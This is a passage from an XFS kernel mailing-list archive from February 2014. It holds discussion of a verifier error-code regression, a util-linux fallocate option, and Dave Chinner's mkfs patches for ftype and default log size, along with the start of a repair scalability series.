http://oss.sgi.com/cgi-bin/gitweb.cgi?p=xfs/xfs.git;a=commitdiff;h=5ef11eb0700f806c4671ba33e5befa784a2f70ef to fix that classification problem - the superblock verifier should now only be noisy if actual corruption is detected. Cheers, Dave. -- Dave Chinner david@fromorbit.com From kzak@redhat.com Thu Feb 27 03:00:40 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E5C3E7F4E for ; Thu, 27 Feb 2014 03:00:40 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id C73858F8073 for ; Thu, 27 Feb 2014 01:00:37 -0800 (PST) X-ASG-Debug-ID: 1393491636-04cb6c56758ff90001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id kKuJ3j7Ksius3TUs for ; Thu, 27 Feb 2014 01:00:36 -0800 (PST) X-Barracuda-Envelope-From: kzak@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1R90Vdu013346 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 27 Feb 2014 04:00:32 -0500 Received: from x2.net.home (ovpn-113-89.phx2.redhat.com [10.3.113.89]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1R906Vx011483; Thu, 27 Feb 2014 04:00:10 -0500 Date: Thu, 27 Feb 2014 10:00:05 +0100 From: Karel Zak To: Dongsu Park Cc: Namjae Jeon , linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, tytso@mit.edu, Lukas Czerner , Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE Message-ID: <20140227090005.GH32036@x2.net.home> X-ASG-Orig-Subj: Re: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE References: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> User-Agent: Mutt/1.5.22.1 (2013-10-16) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393491636 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Tue, Feb 25, 2014 at 08:08:25PM +0100, Dongsu Park wrote: > Introduce a new option -c (or --collapse-range) to support a new flag > FALLOC_FL_COLLAPSE_RANGE for fallocate(2). It will nullify a particular > range [offset, offset+len] by shifting extents beyond the range to the > beginning of the hole. Thanks! > To test that, it's necessary to apply kernel patches in the patchset We (util-linux) always waiting for new stuff in Linus tree :-) Karel -- Karel Zak http://karelzak.blogspot.com From david@fromorbit.com Thu Feb 27 03:12:32 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 967F07F4E for ; Thu, 27 Feb 2014 03:12:32 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 0E6ACAC003 for ; Thu, 27 Feb 2014 01:12:28 -0800 (PST) X-ASG-Debug-ID: 1393492345-04cbb066e591100001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id FucruGpAN3YdnfCH for ; Thu, 27 Feb 2014 01:12:26 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApgKAOAAD1N5LJYe/2dsb2JhbABUBoMGg0O5A4VUgRYXdIIlAQEFOhwjEAgDGAklDwUlAyETh3jKRhcWjXtDB4Q3BJg3kiqDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 19:42:25 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIx0l-0007Wn-NK; Thu, 27 Feb 2014 20:12:11 +1100 Date: Thu, 27 Feb 2014 20:12:11 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 0/9] current series for verifier error differentiation Message-ID: <20140227091211.GZ13647@dastard> X-ASG-Orig-Subj: Re: [PATCH 0/9] current series for verifier error differentiation References: <1392767549-25574-1-git-send-email-sandeen@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392767549-25574-1-git-send-email-sandeen@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393492346 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145563 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Feb 18, 2014 at 05:52:20PM -0600, Eric Sandeen wrote: > This is the current series I have leading up to verifier error differentiation, > just resending them all. > > As I send this, I remember that EILSEQ is giving us an unusual perror() > output, so the last patch which uses it may need to pick some (?) > other error code... Eric, this leaks EBADMSG to userspace in xfs/005 with a corrupted superblock: $ diff -u tests/xfs/005.out /home/dave/src/xfstests-dev/results//xfs/005.out.bad --- tests/xfs/005.out 2014-02-24 09:58:09.000000000 +1100 +++ /home/dave/src/xfstests-dev/results//xfs/005.out.bad 2014-02-27 19:40:56.000000000 +1100 @@ -1,4 +1,4 @@ QA output created by 005 wrote 4/4 bytes at offset 224 XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) -mount: Structure needs cleaning +mount: Bad message Dmesg contains this: [ 8790.946956] XFS (vdb): Metadata CRC error detected at xfs_sb_read_verify+0x10c/0x140, block 0x0 [ 8790.949984] XFS (vdb): Unmount and run xfs_repair [ 8790.951725] XFS (vdb): First 64 bytes of corrupted metadata buffer: [ 8790.953883] ffff880003eea000: 58 46 53 42 00 00 10 00 00 00 00 00 00 2c 00 00 XFSB.........,.. [ 8790.956452] ffff880003eea010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ [ 8790.958518] ffff880003eea020: 0b 21 13 2a 5b 00 40 59 bd 7c 2b d4 5b 6c a4 0a .!.*[.@Y.|+.[l.. [ 8790.960487] ffff880003eea030: 00 00 00 00 00 20 00 04 00 00 00 00 00 00 00 40 ..... .........@ So that part is good. However, I suspect we should still be returning EFSCORRUPTED to userspace. Most metadata buffer reads go through xfs_trans_read_buf_map(), so there only a couple of places we need to catch and convert the error being returned. The other two I notice that are need conversion are xfs_buf_read() in xfs_readlink_bmap(), and the cause of this regression which is xfs_buf_read_uncached() in xfs_readsb().... Can you look into writing up a followup patch that does this catch-and-convert? It will also mean all the higher layers will treat a CRC error as corrupt metadata, which is exactly what we want it to do. :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From dave@fromorbit.com Thu Feb 27 03:46:22 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7344E7F50 for ; Thu, 27 Feb 2014 03:46:22 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3889E304081 for ; Thu, 27 Feb 2014 01:46:22 -0800 (PST) X-ASG-Debug-ID: 1393494379-04bdf05da998530001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id wnqvfoKHR9CAag2A for ; Thu, 27 Feb 2014 01:46:19 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ArENABkJD1N5LJYe/2dsb2JhbABagwY7qQAEmXEXdIIlAQEFJy8zCBgxOQMbGYd4ylmOcYQhBJlqkHeDQSg Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:16:00 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxXH-0007av-6s for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:45:47 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxXH-0007pf-5v for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:45:47 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 2/2] mkfs: proto file creation does not set ftype correctly Date: Thu, 27 Feb 2014 20:45:44 +1100 X-ASG-Orig-Subj: [PATCH 2/2] mkfs: proto file creation does not set ftype correctly Message-Id: <1393494344-30056-3-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494344-30056-1-git-send-email-david@fromorbit.com> References: <1393494344-30056-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494379 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Hence running xfs_repair on a ftype enable filesystem that has contents created by a proto file will throw warnings on mismatched ftype entries and correct them. xfs/031 fails due to this problem. Fix it by settin gup the xname structure with the correct type fields. Signed-off-by: Dave Chinner --- mkfs/proto.c | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/mkfs/proto.c b/mkfs/proto.c index 4cc0df6..4d3680d 100644 --- a/mkfs/proto.c +++ b/mkfs/proto.c @@ -438,6 +438,7 @@ parseproto( creds.cr_gid = (int)getnum(pp); xname.name = (uchar_t *)name; xname.len = name ? strlen(name) : 0; + xname.type = 0; tp = libxfs_trans_alloc(mp, 0); flags = XFS_ILOG_CORE; xfs_bmap_init(&flist, &first); @@ -453,6 +454,7 @@ parseproto( if (buf) free(buf); libxfs_trans_ijoin(tp, pip, 0); + xname.type = XFS_DIR3_FT_REG_FILE; newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); libxfs_trans_ihold(tp, pip); break; @@ -469,6 +471,7 @@ parseproto( libxfs_trans_ijoin(tp, pip, 0); + xname.type = XFS_DIR3_FT_REG_FILE; newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); libxfs_trans_ihold(tp, pip); libxfs_trans_log_inode(tp, ip, flags); @@ -490,6 +493,7 @@ parseproto( fail(_("Inode allocation failed"), error); } libxfs_trans_ijoin(tp, pip, 0); + xname.type = XFS_DIR3_FT_BLKDEV; newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); libxfs_trans_ihold(tp, pip); flags |= XFS_ILOG_DEV; @@ -504,6 +508,7 @@ parseproto( if (error) fail(_("Inode allocation failed"), error); libxfs_trans_ijoin(tp, pip, 0); + xname.type = XFS_DIR3_FT_CHRDEV; newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); libxfs_trans_ihold(tp, pip); flags |= XFS_ILOG_DEV; @@ -516,6 +521,7 @@ parseproto( if (error) fail(_("Inode allocation failed"), error); libxfs_trans_ijoin(tp, pip, 0); + xname.type = XFS_DIR3_FT_FIFO; newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); libxfs_trans_ihold(tp, pip); break; @@ -529,6 +535,7 @@ parseproto( fail(_("Inode allocation failed"), error); flags |= newfile(tp, ip, &flist, &first, 1, 1, buf, len); libxfs_trans_ijoin(tp, pip, 0); + xname.type = XFS_DIR3_FT_SYMLINK; newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); libxfs_trans_ihold(tp, pip); break; @@ -546,6 +553,7 @@ parseproto( isroot = 1; } else { libxfs_trans_ijoin(tp, pip, 0); + xname.type = XFS_DIR3_FT_DIR; newdirent(mp, tp, pip, &xname, ip->i_ino, &first, &flist); pip->i_d.di_nlink++; -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:46:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 2F1247F50 for ; Thu, 27 Feb 2014 03:46:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 0E01B304081 for ; Thu, 27 Feb 2014 01:46:22 -0800 (PST) X-ASG-Debug-ID: 1393494379-04bdf05da998530002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id MhxDOLE1vdzS1oWB for ; Thu, 27 Feb 2014 01:46:21 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmMGABkJD1N5LJYe/2dsb2JhbABagwbDMBd0gwI7gQIDiCyaGLBBjnGEIQSqYYNBKA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:16:00 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxXH-0007at-6R for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:45:47 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxXH-0007pX-4N for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:45:47 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 0/2] xfsprogs: mkfs fixes Date: Thu, 27 Feb 2014 20:45:42 +1100 X-ASG-Orig-Subj: [PATCH 0/2] xfsprogs: mkfs fixes Message-Id: <1393494344-30056-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494380 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, The first patch is an update to the patch I sent a while back to reduce the default log size of small filesystems back to new to the 3.1.x sizes. I've incorporated the changes Brian an I discussed, and it makes all the xfstets that expect specific log sizes for certain sized filesystems pass again. The second patch fixes an oversight when adding dirent ftype support to mkfs - the protofile code that creates files in the filesystem at mkfs time does nto set the ftype value in the directory structures, so xfs_repair complains on a freshly made filesystem that the ftypes aren't correct. Cheers, Dave. From dave@fromorbit.com Thu Feb 27 03:46:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F41167F50 for ; Thu, 27 Feb 2014 03:46:23 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B4C4730407B for ; Thu, 27 Feb 2014 01:46:23 -0800 (PST) X-ASG-Debug-ID: 1393494381-04bdf05daa98540001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 8af4NQ5jRmNQG1qe for ; Thu, 27 Feb 2014 01:46:21 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGABkJD1N5LJYe/2dsb2JhbABagwbDMBd0giUBAQVWMwgYMTkDGxmHeMpCF5MSBKphg0EogS4k Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:16:00 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxXH-0007au-6S for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:45:47 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxXH-0007pa-5E for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:45:47 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 1/2] mkfs: default log size for small filesystems too large Date: Thu, 27 Feb 2014 20:45:43 +1100 X-ASG-Orig-Subj: [PATCH 1/2] mkfs: default log size for small filesystems too large Message-Id: <1393494344-30056-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494344-30056-1-git-send-email-david@fromorbit.com> References: <1393494344-30056-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494381 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner Recent changes to the log size scaling have resulted in using the default size multiplier for the log size even on small filesystems. Commit 88cd79b ("xfs: Add xfs_log_rlimit.c") changed the calculation of the maximum transaction size that the kernel would issues and that significantly increased the minimum size of the default log. As such the size of the log on small filesystems was typically larger than the prefious default, even though the previous default was still larger than the minimum needed. Rework the default log size calculation such that it will use the original log size default if it is larger than the minimum log size required, and only use a larger log if the configuration of the filesystem requires it. This is especially obvious in xfs/216, where the default log size is 10MB all the way up to 16GB filesystems. The current mkfs selects a log size of 50MB for the same size filesystems and this is unnecessarily large. Return the scaling of the log size for small filesystems to something similar to what xfs/216 expects. Signed-off-by: Dave Chinner --- mkfs/xfs_mkfs.c | 48 ++++++++++++++++++++++++++++-------------------- 1 file changed, 28 insertions(+), 20 deletions(-) diff --git a/mkfs/xfs_mkfs.c b/mkfs/xfs_mkfs.c index d82128c..f7cf394 100644 --- a/mkfs/xfs_mkfs.c +++ b/mkfs/xfs_mkfs.c @@ -2366,32 +2366,40 @@ _("size %s specified for log subvolume is too large, maximum is %lld blocks\n"), } else if (!loginternal && !xi.logdev) { logblocks = 0; } else if (loginternal && !logsize) { - /* - * With a 2GB max log size, default to maximum size - * at 4TB. This keeps the same ratio from the older - * max log size of 128M at 256GB fs size. IOWs, - * the ratio of fs size to log size is 2048:1. - */ - logblocks = (dblocks << blocklog) / 2048; - logblocks = logblocks >> blocklog; - logblocks = MAX(min_logblocks, logblocks); - /* - * If the default log size doesn't fit in the AG size, use the - * minimum log size instead. This ensures small filesystems - * don't use excessive amounts of space for the log. - */ - if (min_logblocks * XFS_DFL_LOG_FACTOR >= agsize) { + if (dblocks < GIGABYTES(1, blocklog)) { + /* tiny filesystems get minimum sized logs. */ logblocks = min_logblocks; + } else if (dblocks < GIGABYTES(16, blocklog)) { + + /* + * For small filesystems, we want to use the + * XFS_MIN_LOG_BYTES for filesystems smaller than 16G if + * at all possible, ramping up to 128MB at 256GB. + */ + logblocks = MIN(XFS_MIN_LOG_BYTES >> blocklog, + min_logblocks * XFS_DFL_LOG_FACTOR); } else { - logblocks = MAX(logblocks, - MAX(XFS_DFL_LOG_SIZE, - min_logblocks * XFS_DFL_LOG_FACTOR)); + /* + * With a 2GB max log size, default to maximum size + * at 4TB. This keeps the same ratio from the older + * max log size of 128M at 256GB fs size. IOWs, + * the ratio of fs size to log size is 2048:1. + */ + logblocks = (dblocks << blocklog) / 2048; + logblocks = logblocks >> blocklog; + logblocks = MAX(min_logblocks, logblocks); } + + /* make sure the log fits wholly within an AG */ + if (logblocks >= agsize) + logblocks = min_logblocks; + + /* and now clamp the size to the maximum supported size */ logblocks = MIN(logblocks, XFS_MAX_LOG_BLOCKS); - if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) { + if ((logblocks << blocklog) > XFS_MAX_LOG_BYTES) logblocks = XFS_MAX_LOG_BYTES >> blocklog; - } + } validate_log_size(logblocks, blocklog, min_logblocks); -- 1.8.4.rc3 From dave@fromorbit.com Thu Feb 27 03:51:33 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id A0EA87F50 for ; Thu, 27 Feb 2014 03:51:33 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 23C95AC005 for ; Thu, 27 Feb 2014 01:51:32 -0800 (PST) X-ASG-Debug-ID: 1393494690-04cb6c567693590001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id a2vM2mxIV21YVObk for ; Thu, 27 Feb 2014 01:51:30 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AscJAEIKD1N5LJYe/2dsb2JhbABagwapRJltF3SDAjuBAgOILJoYsEGOcYQhBKphg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bh-6l for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007rp-5T for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 00/10, v3] xfsprogs: reapir scalability and fixes Date: Thu, 27 Feb 2014 20:51:05 +1100 X-ASG-Orig-Subj: [PATCH 00/10, v3] xfsprogs: reapir scalability and fixes Message-Id: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494690 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi folks, Another update to the repair scalability fixes patchset. I've addressed all the review comments from the v2 patch set, and only patches 8-10 still need review. The only major change in this posting is that I reordered the patch set to put all the reviewed patches first - most patches have no dependencies on each other, so none of the patches changed as a result of the reordering. If no-one objects, I'll comit the review patches (1-7) tomorrow to get the fixes and improvements into the tree for wider testing as soon as possible... Cheers, Dave. From dave@fromorbit.com Thu Feb 27 03:51:34 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id A56B17F50 for ; Thu, 27 Feb 2014 03:51:34 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 83557304071 for ; Thu, 27 Feb 2014 01:51:34 -0800 (PST) X-ASG-Debug-ID: 1393494690-04cb6c567693590002-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id H2IgAQcwEZ7clMNf for ; Thu, 27 Feb 2014 01:51:32 -0800 (PST) X-Barracuda-Envelope-From: dave@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmUGAEIKD1N5LJYe/2dsb2JhbABagwbDMRd0giUBAQUnLzMIGDE5AxsZHodaykIXjX2FFQSqYYNBKIEt Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 20:21:30 +1030 Received: from disappointment.disaster.area ([192.168.1.110] helo=disappointment) by dastard with esmtp (Exim 4.80) (envelope-from ) id 1WIxcb-0007bi-7C for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 Received: from dave by disappointment with local (Exim 4.80) (envelope-from ) id 1WIxcb-0007rs-6N for xfs@oss.sgi.com; Thu, 27 Feb 2014 20:51:17 +1100 From: Dave Chinner To: xfs@oss.sgi.com Subject: [PATCH 01/10] repair: translation lookups limit scalability Date: Thu, 27 Feb 2014 20:51:06 +1100 X-ASG-Orig-Subj: [PATCH 01/10] repair: translation lookups limit scalability Message-Id: <1393494675-30194-2-git-send-email-david@fromorbit.com> X-Mailer: git-send-email 1.8.4.rc3 In-Reply-To: <1393494675-30194-1-git-send-email-david@fromorbit.com> References: <1393494675-30194-1-git-send-email-david@fromorbit.com> X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393494692 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145564 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- From: Dave Chinner A bit of perf magic showed that scalability was limits to 3-4 concurrent threads due to contention on a lock inside in something called __dcigettext(). That some library somewhere that repair is linked against, and it turns out to be inside the translation infrastructure 